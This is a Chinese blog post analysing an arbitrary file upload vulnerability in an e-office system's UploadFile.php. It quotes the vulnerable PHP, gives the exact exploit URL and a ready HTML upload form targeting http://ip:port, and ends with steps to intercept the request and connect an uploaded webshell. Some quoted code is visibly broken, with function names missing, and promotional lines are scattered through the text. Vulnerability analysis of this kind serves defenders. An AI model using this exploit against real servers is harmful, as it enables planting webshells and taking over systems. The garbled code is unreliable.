某office前台任意文件上传漏洞分析
X微e-office的那個前臺任意文件上傳漏洞已經被爆出一段時間了,相關的漏洞利用腳本甚至是漏洞批量利用腳本
也有很多。在這里根據系統代碼結合POC來分析一下這個漏洞點。
定位漏洞點
【私信回復“資料”課獲取網絡安全 全套學習資料】
根據poc中的上傳路徑可以知道,漏洞點存在于/general/index/UploadFile.php文件。產生漏洞的代碼是下邊這一串。
else if ( $uploadType == "eoffice_logo" ) {$targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";if ( !file_exists( $targetPath ) ){mkdir( $targetPath, 511, true );}$ext = $_FILES['Filedata']['name']( $_FILES['Filedata']['name'] );$_targetFile = "logo-eoffice".$ext;$targetFile = str_replace( "//", "/", $targetPath )."/".$_targetFile;if ( move_uploaded_file( $tempFile, $targetFile ) ){$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";$result = exequery( $connection, $query );$row = mysql_fetch_array( $result );$param1 = $param2 = false;if ( !$row ){$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";$param1 = exequery( $connection, $query );}else{$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";$param1 = exequery( $connection, $query );}$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";$result = exequery( $connection, $query );$row = mysql_fetch_array( $result );if ( !$row ){$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";$param2 = exequery( $connection, $query );}else{$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";$param2 = exequery( $connection, $query );}if ( $param1 && $param2 ){echo $_targetFile;}else{echo 0;}}else{echo 0;}}}}在看到UploadFile.php中的內容的時候,發現了很多處類似上面產生漏洞點的代碼
但是為什么只有 $uploadType == “eoffice_logo” 這里可以進行任意文件上傳呢。
上面三處都使用下邊的語句對上傳的文件進行了白名單過濾
只有 $uploadType == “eoffice_logo” 這里沒有進行白名單過濾,具體是因為什么我還沒有深究。
漏洞點代碼分析
【私信回復“資料”課獲取網絡安全 全套學習資料】
定位到產生漏洞的代碼以后,開始對這段代碼進行分析。
定義上傳后的文件名和上傳路徑:
//targetPath 為網站 根目錄/images/logo/ $targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";//targetPath 如果不存在的話,就會新建目錄 if ( !file_exists( $targetPath ) ) {mkdir( $targetPath, 511, true ); } //獲取上傳文件后綴名,并使用寫好的的logo-eoffice與上傳文件后綴拼接形成新的文件名,最后進行目錄拼接 $ext = $_FILES['Filedata']['name']( $_FILES['Filedata']['name'] ); $_targetFile = "logo-eoffice".$ext; $targetFile = str_replace( "//", "/", $targetPath )."/".$_targetFile;現在的targetFile為 根目錄/images/logo/logo-eoffice.上傳文件的后綴
接下來會進行文件上傳的操作
if ( move_uploaded_file( $tempFile, $targetFile ) ) {$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'";$result = exequery( $connection, $query );$row = mysql_fetch_array( $result );$param1 = $param2 = false;if ( !$row ){$query = "INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')";$param1 = exequery( $connection, $query );}else{$query = "UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'";$param1 = exequery( $connection, $query );}$query = "SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO_TYPE'";$result = exequery( $connection, $query );$row = mysql_fetch_array( $result );if ( !$row ){$query = "INSERT INTO sys_para VALUES('SYS_LOGO_TYPE','2')";$param2 = exequery( $connection, $query );}else{$query = "UPDATE sys_para SET PARA_VALUE='2' WHERE PARA_NAME='SYS_LOGO_TYPE'";$param2 = exequery( $connection, $query );}if ( $param1 && $param2 ){echo $_targetFile;}else{echo 0;}}else{echo 0;}}}}這一大串代碼的意思是,上傳后會向數據庫中進行查詢信息
SELECT * FROM sys_para WHERE PARA_NAME = 'SYS_LOGO'如果查不到的話就向數據庫中插入數據,如果查詢時返回不為空,那么就會將數據進行更新
INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'經過這輪操作,數據庫SYS_LOGO中已經被插入了數據或者數據已經被更新了,更新后在進行查詢操作,并取一行數據作為關聯數組。經過這兩輪關聯,row的值已經不為空了,也就會看到打印出的
_targetFileif ( $param1 && $param2 ) { echo $_targetFile; //$_targetFile = "logo-eoffice".$ext; }到這里似乎沒有什么阻礙或者難配置的地方。
分析上傳方式
準備構造上傳。
$upload = ( );$method = $_GET['m'];$upload->$method( $connection );使用get方法傳入一個m,然后upload這個類調用method方法。這里要想上傳文件,也就用到了uploadPicture這個方法。
那么 m=uploadPicture
要想利用eoffice_logo這個點,還需要傳入uploadType,并且令uploadType == “eoffice_logo”
那么最終的漏洞利用的url也就有了
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo
構造上傳表單
根據代碼構造上傳表單
<html> <title>泛微e-office文件上傳</title> <head></head> <body> <form action="http://ip:port/general/index/UploadFile.php? m=uploadPicture&uploadType=eoffice_logo" method="post" enctype="multipart/form-data"> <input type="file" name="Filedata"> <input type="submit" value="Upload"> </body> </html>注意一下這里別寫錯了
本地攻擊測試
上傳時抓包,改包
傳馬連接
總結
以上是生活随笔為你收集整理的某office前台任意文件上传漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【web安全】记一次 Commons C
- 下一篇: 【应急响应】没有痕迹该如何进行最优解